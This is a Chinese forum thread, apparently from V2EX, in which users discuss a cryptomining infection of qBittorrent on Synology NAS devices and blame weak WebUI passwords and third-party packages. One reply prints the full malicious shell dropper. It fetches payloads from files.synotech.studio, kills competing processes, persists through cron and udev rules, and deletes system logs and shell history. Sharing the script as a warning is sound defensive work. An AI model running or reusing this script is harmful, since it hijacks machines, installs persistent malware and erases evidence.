要注意, qBittorrent 自动运行 torrent 传播的挖矿脚本
- 在昨天下班回家后,听见 nas 怪吵,看了下探针 CPU50%,检查进程,qbittorrent 进程极为活跃,但是没有正在下载的内容。平时一直用 rss 自动挂 sukebei ,确认过确实没有活跃任务,这就活见鬼了。
- ssh 中 top 了一下,b3qmud4h 这个进程跑的飞起,怀疑有问题,互联网上搜索一圈,b3qmud4h 为自动生成的字段。
- kill -9 该进程后,cpu 恢复正常,qb 服务也没出现问题
- 重启 qbittorrent ,再次出现高 cpu 占用进程,同样为随机字符的任务。
- 检查 qbittorrent 日志,发现 “运行外部程序。Torrent:“*”。命令:
sh -c "(curl -skL files.synotech.studio || wget --no-check-certificate -qO - files.synotech.studio) | sh"
” - 通过搜索,得知设置→下载→运行外部程序 选项如果打勾的话,是可以通过种子直接运行脚本的
大家务必检查一下这个设置是否开启,我的印象里是没有认为开启过,可能和包或者是 docker 镜像有关
我用的这个: github.com/c0re100/qBittorrent-Enhanced-Edition
话说 qBittorrent 为什么要写这么危险的功能呢?如果把挖矿脚本换成木马,岂不是一下子倒一大片
官方源的包不会有问题,你的 qb 安装自不明脚本?
群晖矿神 5.0.3 的包,已更换 docker
而且我看了,这个功能的目的是相当于一个种子下载之后的 hook ,“外部程序”指的本机本来就有的程序,所以大概率还是你的 qb 本身已经被入侵了。
矿神…… 不拿你挖矿对得起这名字吗 doge
那个脚本要用户自己去设置里填写的吧?怎么可能自动从种子里获取?感觉是别的地方被入侵了,比如说开启了 WebUI 没设置密码暴露到公网上了。
我的一切正常
#!/bin/sh
ARCH=$(uname -m)
FILE=$(head /dev/urandom | tr -dc 'A-Za-z0-9' | head -c 8)
if [ ! "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then
EXEC=$(for i in $(mount | grep -awv noexec | grep -aw "rw" | awk '{print $3}'); do find $i -maxdepth 0 -type d -executable 2>/dev/null; done)
(ps -eo pid,%cpu --sort=-%cpu | awk '$2 > 80 {print $1}' | xargs -I % kill -9 %) >/dev/null 2>&1
if [ "$ARCH" = "x86_64" ]; then
for i in /tmp $PWD $HOME $EXEC; do
(curl -sk files.synotech.studio/1 -o "$i"/"$FILE" || wget --no-check-certificate -qO "$i"/"$FILE" files.synotech.studio/1) >/dev/null 2>&1
(cd "$i" ; chmod +x "$FILE" ; ./"$FILE") >/dev/null 2>&1
rm -rf "$i"/"$FILE" >/dev/null 2>&1
sleep 15
if [ "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then
break
fi
done
elif [ "$ARCH" = "aarch64" ]; then
for i in /tmp $PWD $HOME $EXEC; do
(curl -sk files.synotech.studio/2 -o "$i"/"$FILE" || wget --no-check-certificate -qO "$i"/"$FILE" files.synotech.studio/2) >/dev/null 2>&1
(cd "$i" ; chmod +x "$FILE" >/dev/null 2>&1 ; ./"$FILE") >/dev/null 2>&1
rm -rf "$i"/"$FILE" >/dev/null 2>&1
sleep 15
if [ "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then
break
fi
done
else
exit 1
fi
fi
(if sudo -n true; then find /etc/cron.d -type f -exec rm -rf {} \; ; elif [ "$(id -u)" -eq 0 ]; then find /etc/cron.d -type f -exec rm -rf {} \; ; fi) >/dev/null 2>&1
(if sudo -n true; then echo 0 0 * * * root sh -c "\"(curl -sk files.synotech.studio || wget --no-check-certificate -qO - files.synotech.studio) | sh"\" | sudo tee /etc/cron.d/mdadm; elif [ "$(id -u)" -eq 0 ]; then echo 0 0 * * * root sh -c "\"(curl -sk files.synotech.studio || wget --no-check-certificate -qO - files.synotech.studio) | sh"\" | tee /etc/cron.d/mdadm; fi) >/dev/null 2>&1
UDEV='SUBSYSTEM=="net", KERNEL!="lo", RUN+="echo 0 0 * * * root sh -c "\"(curl -sk files.synotech.studio || wget --no-check-certificate -qO - files.synotech.studio) | sh"\" | (sudo tee /etc/cron.d/mdadm || tee /etc/cron.d/mdadm)"'
(if sudo -n true; then echo $UDEV | sudo tee /etc/udev/rules.d/mdadm; elif [ "$(id -u)" -eq 0 ]; then echo $UDEV | tee /etc/udev/rules.d/mdadm; fi) >/dev/null 2>&1
(if sudo -n true; then for logs in $(sudo find /var/log -type f); do sudo rm $logs; done; elif [ "$(id -u)" -eq 0 ]; then for logs in $(find /var/log -type f); do rm $logs; done; fi) >/dev/null 2>&1
(rm $HOME/.bash_history) >/dev/null 2>&1
(history -c) >/dev/null 2>&1那-----我观望下是不是弱口令
原来如此,但是更恐怖了啊
百分百弱口令,毕竟我也扫到过 N 多 8082 默认 admin:adminadmin
遇到过同样的问题,进程名叫 SyGlcPtf ,原因是 qb 用的弱密码,长教训了
我也正在用同版 qb ,请问到底应该是哪里设置可以规避?看了下,默认情况下:设置→下载→运行外部程序处的俩都没有勾选
qBittorrent 有官方 docker ,可以装在群晖上,为啥要用第三方的呢
#6 哈哈哈,说的太对了!
能用官方的尽量用官方的,不要安装来路不明的软件
在/volume1/@appstore/qBitttorrent 目录下发现 o2PHN18N 文件
我不是矿神
你的 qb 被爆破了吧?
可以用 fail2ban 啥的,搞基于日志的防爆破。好多年没用过种子下载了……
#7 windows 自带的杀毒扫描不出吗?
谢谢提醒!
已卸载全部群晖上的所有矿神源提供的软件!qb 外网端口我都没开
居然设置后门!
真服了
点开已安装套件页面
进入软件界面
看到发布者是矿神 XXX 的
我都把卸载了
#2 什么事情都有两面性,本质上是一个 action 的 hook 。最简单的用法就是缓存盘下完转移到储存盘和转移给 tr 保种
我是用这个功能来发送下载完成的通知的。
原帖点我,一般的业务系统里 jwt token 都是如何刷新的?有没有最佳实践。 亮出一些观点 jwt token 没有撤销机制,一旦泄露或者被窃取有安全隐患,所以 toke…
知道 uniapp 不少年头了,这次图省事将一个微信小程序转换为 uniapp 项目,图小程序、Android iOS 一起搞定, 本来已经转差不多了。腾讯地图死活打包不上,仔…
我知道 go 的安装包不好下载,每次我都是翻墙。这次情况有点特别,在 Chrome 浏览器里面,想下载 go 最新的安装包,Chrome 就出现这个问题。用的翻墙软件是 cla…